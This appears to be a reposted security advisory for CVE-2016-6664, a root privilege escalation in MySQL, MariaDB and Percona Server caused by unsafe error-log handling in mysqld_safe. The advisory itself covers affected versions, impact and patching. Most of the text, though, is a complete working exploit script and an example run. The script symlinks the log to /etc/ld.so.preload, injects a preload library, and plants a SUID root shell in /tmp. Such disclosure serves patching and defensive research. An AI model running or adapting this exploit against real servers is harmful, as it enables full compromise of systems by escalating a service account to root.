MySQL / MariaDB / PerconaDB 权限提升漏洞（CVE-2016-6664）

I. VULNERABILITY ------------------------- MySQL / MariaDB / PerconaDB - Root Privilege Escalation MySQL <= 5.5.51 <= 5.6.32 <= 5.7.14 MariaDB All current Percona Server < 5.5.51-38.2 < 5.6.32-78-1 < 5.7.14-8 Percona XtraDB Cluster < 5.6.32-25.17 < 5.7.14-26.17 < 5.5.41-37.0 II. BACKGROUND ------------------------- MySQL: "MySQL is the world's most popular open source database. Whether you are a fast growing web property, technology ISV or large enterprise, MySQL can cost-effectively help you deliver high performance, scalable database applications." "Many of the world's largest and fastest-growing organizations including Facebook, Google, Adobe, Alcatel Lucent and Zappos rely on MySQL to save time and money powering their high-volume Web sites, business-critical systems and packaged software." http://www.mysql.com/products/ http://www.mysql.com/why-mysql/ -- MariaDB: "MariaDB is one of the most popular database servers in the world. Its made by the original developers of MySQL and guaranteed to stay open source. Notable users include Wikipedia, WordPress.com and Google. MariaDB turns data into structured information in a wide array of applications, ranging from banking to websites. It is an enhanced, drop-in replacement for MySQL. MariaDB is used because it is fast, scalable and robust, with a rich ecosystem of storage engines, plugins and many other tools make it very versatile for a wide variety of use cases." https://mariadb.org/about/ -- PerconaDB: "Percona Server for MySQL is a free, fully compatible, enhanced, open source drop-in replacement for MySQL that provides superior performance, scalability and instrumentation. With over 3,000,000 downloads, Percona Server芒鈧劉s self-tuning algorithms and support for extremely high-performance hardware delivers excellent performance and reliability." https://www.percona.com/software/mysql-database/percona-server III. INTRODUCTION ------------------------- MySQL-based databases including MySQL, MariaDB and PerconaDB are affected by a privilege escalation vulnerability which can let attackers who have gained access to mysql system user to further escalate their privileges to root user allowing them to fully compromise the system. The vulnerability stems from unsafe file handling of error logs and other files. IV. DESCRIPTION ------------------------- The error.log file on most default installations of MySQL/PerconaDB/MariaDB databases is stored either in /var/log/mysql or /var/lib/mysql directory. The permissions on the file and directory look as follows: ``` root@trusty:/var/lib/mysql# ls -la /var/log/mysql total 468 drwxr-s--- 2 mysql adm 4096 Sep 11 06:25 . drwxrwxr-x 36 root syslog 4096 Sep 11 06:25 .. -rw-r----- 1 mysql adm 0 Sep 11 06:25 error.log root@trusty:/var/lib/mysql# ls -lad /var/log/mysql drwxr-s--- 2 mysql adm 4096 Sep 11 06:25 /var/log/mysql ``` mysqld_safe wrapper that is normally used for starting MySQL daemon and creating/reopening the error.log performs certain unsafe file operations that may allow attackers to gain root privileges. The wrapper script contains a 'while' loop shown below which monitors the mysqld process and performs a restart in case of the process failure. The restart involves re-creation of the error.log file if syslog logging has not been configured instead of error log files (file-based logging is the default setting on most installations). --------[ mysqld_safe ]-------- ``` [...] while true do rm -f "$pid_file" # Some extra safety start_time=`date +%M%S` eval_log_error "$cmd" if [ $want_syslog -eq 0 -a ! -f "$err_log" ]; then touch "$err_log" # hypothetical: log was renamed but not chown $user "$err_log" # flushed yet. we'd recreate it with chmod "$fmode" "$err_log" # wrong owner next time we log, so set fi # it up correctly while we can! [...] ``` ------------------------------- As can be seen, the error.log file is created (touch) and chowned to the user running the mysqld daemon (typically 'mysql'). The operation is vulnerable to a symlink attack. Attackers who obtained access to mysql account, through CVE-2016-6663 vulnerability described at: http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html would gain access to /var/log or /var/lib/mysql directories (owned by mysql user) and could therefore easily remove the error.log file and replace it with a symlink to an arbitrary system file and escalate privileges. The privilege escalation could be triggered instantly (without the need to wait for mysql service restart/reboot) by attackers having 'mysql' account by simply killing the mysqld child process (launched by the mysqld_safe wrapper). When the mysqld process gets terminated, the wrapper will then re-itertate the loop shown above and immediately create a mysql-owned file in the location specified by the attacker in the symlink thus allowing attackers to quickly escalate their privileges. V. PROOF OF CONCEPT EXPLOIT ------------------------- -------[ mysql-chowned.sh ]------ ``` #!/bin/bash -p # # MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit # mysql-chowned.sh (ver. 1.0) # # CVE-2016-6664 / OCVE-2016-5617 # # Discovered and coded by: # # Dawid Golunski # dawid[at]legalhackers.com # # https://legalhackers.com # # Follow https://twitter.com/dawid_golunski for updates on this advisory. # # This PoC exploit allows attackers to (instantly) escalate their privileges # from mysql system account to root through unsafe error log handling. # The exploit requires that file-based logging has been configured (default). # To confirm that syslog logging has not been enabled instead use: # grep -r syslog /etc/mysql # which should return no results. # # This exploit can be chained with the following vulnerability: # CVE-2016-6663 / OCVE-2016-5616 # which allows attackers to gain access to mysql system account (mysql shell). # # In case database server has been configured with syslog you may also use: # CVE-2016-6662 as an alternative to this exploit. # # Usage: # ./mysql-chowned.sh path_to_error.log # # # See the full advisory for details at: # https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html # # Video PoC: # https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html # # Disclaimer: # For testing purposes only. Do no harm. # BACKDOORSH="/bin/bash" BACKDOORPATH="/tmp/mysqlrootsh" PRIVESCLIB="/tmp/privesclib.so" PRIVESCSRC="/tmp/privesclib.c" SUIDBIN="/usr/bin/sudo" function cleanexit { # Cleanup echo -e "\n[+] Cleaning up..." rm -f $PRIVESCSRC rm -f $PRIVESCLIB rm -f $ERRORLOG touch $ERRORLOG if [ -f /etc/ld.so.preload ]; then echo -n > /etc/ld.so.preload fi echo -e "\n[+] Job done. Exiting with code $1 \n" exit $1 } function ctrl_c() { echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation." cleanexit 0 } #intro echo -e "\033[94m \nMySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / OCVE-2016-5617\n" echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m" # Args if [ $# -lt 1 ]; then echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n" echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n" exit 3 fi # Priv check echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m" id | grep -q mysql if [ $? -ne 0 ]; then echo -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n" exit 3 fi # Set target paths ERRORLOG="$1" if [ ! -f $ERRORLOG ]; then echo -e "\n[!] The specified MySQL catalina.out log ($ERRORLOG) doesn't exist. Try again.\n" exit 3 fi echo -e "\n[+] Target MySQL log file set to $ERRORLOG" # [ Active exploitation ] trap ctrl_c INT # Compile privesc preload library echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)" cat <<_solibeof_>$PRIVESCSRC #define _GNU_SOURCE #include <stdio.h> #include <sys/stat.h> #include <unistd.h> #include <dlfcn.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> uid_t geteuid(void) { static uid_t (*old_geteuid)(); old_geteuid = dlsym(RTLD_NEXT, "geteuid"); if ( old_geteuid() == 0 ) { chown("$BACKDOORPATH", 0, 0); chmod("$BACKDOORPATH", 04777); //unlink("/etc/ld.so.preload"); } return old_geteuid(); } _solibeof_ /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl" if [ $? -ne 0 ]; then echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC." cleanexit 2; fi # Prepare backdoor shell cp $BACKDOORSH $BACKDOORPATH echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`" # Safety check if [ -f /etc/ld.so.preload ]; then echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety." exit 2 fi # Symlink the log file to /etc rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG if [ $? -ne 0 ]; then echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink." cleanexit 3 fi echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`" # Wait for MySQL to re-open the logs echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n" read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWER if [ "$THE_ANSWER" = "y" ]; then echo -e "Got it. Executing 'killall mysqld' now..." killall mysqld fi while :; do sleep 0.1 if [ -f /etc/ld.so.preload ]; then echo $PRIVESCLIB > /etc/ld.so.preload rm -f $ERRORLOG break; fi done # /etc/ dir should be owned by mysql user at this point # Inject the privesc.so shared library to escalate privileges echo $PRIVESCLIB > /etc/ld.so.preload echo -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`" echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload" echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`" chmod 755 /etc/ld.so.preload # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo) echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!" sudo 2>/dev/null >/dev/null #while :; do # sleep 0.1 # ps aux | grep mysqld | grep -q 'log-error' # if [ $? -eq 0 ]; then # break; # fi #done # Check for the rootshell ls -l $BACKDOORPATH ls -l $BACKDOORPATH | grep rws | grep -q root if [ $? -eq 0 ]; then echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`" echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m" else echo -e "\n[!] Failed to get root" cleanexit 2 fi # Execute the rootshell echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n" $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB" $BACKDOORPATH -p # Job done. cleanexit 0 ``` ------------EOF------------------ Example run ~~~~~~~~~~~~~~~~ ``` mysql_suid_shell.MYD-4.3$ whoami mysql omysql_suid_shell.MYD-4.3$ dpkg -l | grep percona-server-server iU percona-server-server 5.6.32-78.0-1.xenial amd64 Percona Server database server iF percona-server-server-5.6 5.6.32-78.0-1.xenial amd64 Percona Server database server binaries mysql_suid_shell.MYD-4.3$ ./mysql-chowned.sh /var/lib/mysql/xenial-percona.err MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit mysql-chowned.sh (ver. 1.0) CVE-2016-6664 / OCVE-2016-5617 Discovered and coded by: Dawid Golunski http://legalhackers.com [+] Starting the exploit as uid=1001(attacker) gid=1001(attacker) euid=107(mysql) groups=1001(attacker) [+] Target MySQL log file set to /var/lib/mysql/xenial-percona.err [+] Compiling the privesc shared library (/tmp/privesclib.c) [+] Backdoor/low-priv shell installed at: -rwxr-xr-x 1 mysql attacker 1037528 Nov 1 05:08 /tmp/mysqlrootsh [+] Symlink created at: lrwxrwxrwx 1 mysql attacker 18 Nov 1 05:08 /var/lib/mysql/xenial-percona.err -> /etc/ld.so.preload [+] Waiting for MySQL to re-open the logs/MySQL service restart... Do you want to kill mysqld process to instantly get root? :) ? [y/n] y Got it. Executing 'killall mysqld' now... [+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: -rw-r----- 1 mysql root 19 Nov 1 05:08 /etc/ld.so.preload [+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload [+] The /etc/ld.so.preload file now contains: /tmp/privesclib.so [+] Escalating privileges via the /usr/bin/sudo SUID binary to get root! -rwsrwxrwx 1 root root 1037528 Nov 1 05:08 /tmp/mysqlrootsh [+] Rootshell got assigned root SUID perms at: -rwsrwxrwx 1 root root 1037528 Nov 1 05:08 /tmp/mysqlrootsh Got root! The database server has been ch-OWNED ! [+] Spawning the rootshell /tmp/mysqlrootsh now! mysqlrootsh-4.3# whoami root mysqlrootsh-4.3# exit exit [+] Cleaning up... [+] Job done. Exiting with code 0 ``` Video PoC: ~~~~~~~~~~~~~ http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html VI. BUSINESS IMPACT ------------------------- Although the severity of this issue is lower on its own (attackers need to gain access to mysql system user), the vulnerability could easily be combined with the CVE-2016-6663 issue. The combination of the two would effectively allow low privileged local database users to escalate their system privileges to root system account and allow them to fully compromise the server which increases the severity of this issue. VII. SYSTEMS AFFECTED ------------------------- MySQL <= 5.5.51 <= 5.6.32 <= 5.7.14 MariaDB All current Percona Server < 5.5.51-38.2 < 5.6.32-78-1 < 5.7.14-8 Percona XtraDB Cluster < 5.6.32-25.17 < 5.7.14-26.17 < 5.5.41-37.0 VIII. SOLUTION ------------------------- Vendors have released patches after private disclosure. Update to the latest version of your DBMS. IX. REFERENCES ------------------------- http://legalhackers.com This advisory: http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html Exploit source code: http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh Related mysql vulnerabilities discovered by the author of thid advisory that can be chained with the CVE-2016-6664 vulnerability: CVE-2016-6663: http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html CVE-2016-6662: http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html Video PoC: http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html CVE-2016-6664 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6664 Oracle CPU: http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html#AppendixMSQL X. CREDITS ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com http://legalhackers.com XI. REVISION HISTORY ------------------------- 01.11.2016 - Advisory released XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.